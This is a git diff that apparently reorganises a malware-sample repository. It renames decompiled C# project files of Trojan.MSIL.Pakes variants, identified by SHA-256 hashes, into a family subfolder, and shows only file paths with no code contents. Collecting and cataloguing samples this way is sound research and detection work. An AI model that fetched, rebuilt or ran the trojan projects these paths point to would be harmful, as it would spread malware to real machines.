b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FuhbaosSnEhoDmdbaD/jtjaakuZtSzpkhbvdvaAqo4.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FuhbaosSnEhoDmdbaD/jtjaakuZtSzpkhbvdvaAqo4.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FuhbaosSnEhoDmdbaD/jtjaakuZtSzpkhbvdvaAqo4.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FuhbaosSnEhoDmdbaD/jtjaakuZtSzpkhbvdvaAqo4.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/GnabakDekHgxFfd/othbajgpnsnoGgaCaedEkir.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/GnabakDekHgxFfd/othbajgpnsnoGgaCaedEkir.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/GnabakDekHgxFfd/othbajgpnsnoGgaCaedEkir.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/GnabakDekHgxFfd/othbajgpnsnoGgaCaedEkir.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Config/xml.gzc b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Config/xml.gzc similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Config/xml.gzc rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Config/xml.gzc diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Ionic/Zip/Reduced/dll.gc b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Ionic/Zip/Reduced/dll.gc similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Ionic/Zip/Reduced/dll.gc rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Ionic/Zip/Reduced/dll.gc diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/genius/js.gzc b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/genius/js.gzc similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/genius/js.gzc rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/genius/js.gzc diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/OiicagDWfgAgHkbNbCbakTnESb/oahbaiumtqydciaHbkbKqTk.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/OiicagDWfgAgHkbNbCbakTnESb/oahbaiumtqydciaHbkbKqTk.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/OiicagDWfgAgHkbNbCbakTnESb/oahbaiumtqydciaHbkbKqTk.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/OiicagDWfgAgHkbNbCbakTnESb/oahbaiumtqydciaHbkbKqTk.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/fxgaaaBVsPjCuobKdzb/teiaabaLbMbKddbmazdecRj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/fxgaaaBVsPjCuobKdzb/teiaabaLbMbKddbmazdecRj.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/fxgaaaBVsPjCuobKdzb/teiaabaLbMbKddbmazdecRj.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/fxgaaaBVsPjCuobKdzb/teiaabaLbMbKddbmazdecRj.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/gagbafjWbCoxFcbHcVacqOqf2aio/OrecacFWaZivwheEeCajekU.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/gagbafjWbCoxFcbHcVacqOqf2aio/OrecacFWaZivwheEeCajekU.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/gagbafjWbCoxFcbHcVacqOqf2aio/OrecacFWaZivwheEeCajekU.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/gagbafjWbCoxFcbHcVacqOqf2aio/OrecacFWaZivwheEeCajekU.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/hnccaizobihvBhb/jdcbaieHqbxBybbOaZbCbMH.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/hnccaizobihvBhb/jdcbaieHqbxBybbOaZbCbMH.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/hnccaizobihvBhb/jdcbaieHqbxBybbOaZbCbMH.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/hnccaizobihvBhb/jdcbaieHqbxBybbOaZbCbMH.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/kiacaenjkbAHbcdkeacymGOkrbdbA/EeecaoCshVhcefbAaOaKqJR.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/kiacaenjkbAHbcdkeacymGOkrbdbA/EeecaoCshVhcefbAaOaKqJR.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/kiacaenjkbAHbcdkeacymGOkrbdbA/EeecaoCshVhcefbAaOaKqJR.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/kiacaenjkbAHbcdkeacymGOkrbdbA/EeecaoCshVhcefbAaOaKqJR.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/mtbaaqaLuFwacda/LoeaadkXoSwAzcaSdLcicQP.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/mtbaaqaLuFwacda/LoeaadkXoSwAzcaSdLcicQP.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/mtbaaqaLuFwacda/LoeaadkXoSwAzcaSdLcicQP.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/mtbaaqaLuFwacda/LoeaadkXoSwAzcaSdLcicQP.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/nhkaaeAGtVxDkabjabbj/umhbahmRfewyedeJcobtmdN.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/nhkaaeAGtVxDkabjabbj/umhbahmRfewyedeJcobtmdN.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/nhkaaeAGtVxDkabjabbj/umhbahmRfewyedeJcobtmdN.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/nhkaaeAGtVxDkabjabbj/umhbahmRfewyedeJcobtmdN.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/rujaagfvdwmdGncv/FvcbafEte8zsdedCcpdyahg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/rujaagfvdwmdGncv/FvcbafEte8zsdedCcpdyahg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/rujaagfvdwmdGncv/FvcbafEte8zsdedCcpdyahg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/rujaagfvdwmdGncv/FvcbafEte8zsdedCcpdyahg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyApplication.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyApplication.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyApplication.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyComputer.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyComputer.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyComputer.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyProject.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyProject.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyProject.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Stair.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Stair.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Stair.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Stair.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/TC.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/TC.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/TC.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/TC.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/hKPcZIVuuWerTnSqIiJUOg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/hKPcZIVuuWerTnSqIiJUOg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/hKPcZIVuuWerTnSqIiJUOg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/hKPcZIVuuWerTnSqIiJUOg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/AssemblyInfo.cs 